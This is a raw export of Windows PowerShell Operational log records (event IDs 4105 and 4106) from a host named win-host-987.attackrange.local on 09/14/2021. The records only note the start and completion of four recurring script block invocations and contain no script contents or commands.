LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647804
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647803
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647802
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647801
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647800
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647799
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647798
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647797
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647816
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647815
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647814
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647813
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647812
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647811
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647810
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647809
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647808
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647807
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647826
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647825
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647824
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647823
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647822
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647821
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647820
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647819
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647818
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647817
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647836
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647835
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647834
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647833
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647832
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647831
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647830
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647829
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647828
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647827
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647846
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647845
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647844
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647843
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647842
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647841
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647840
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647839
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647838
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647837
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647856
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647855
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647854
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647853
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647852
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647851
Keywords=None
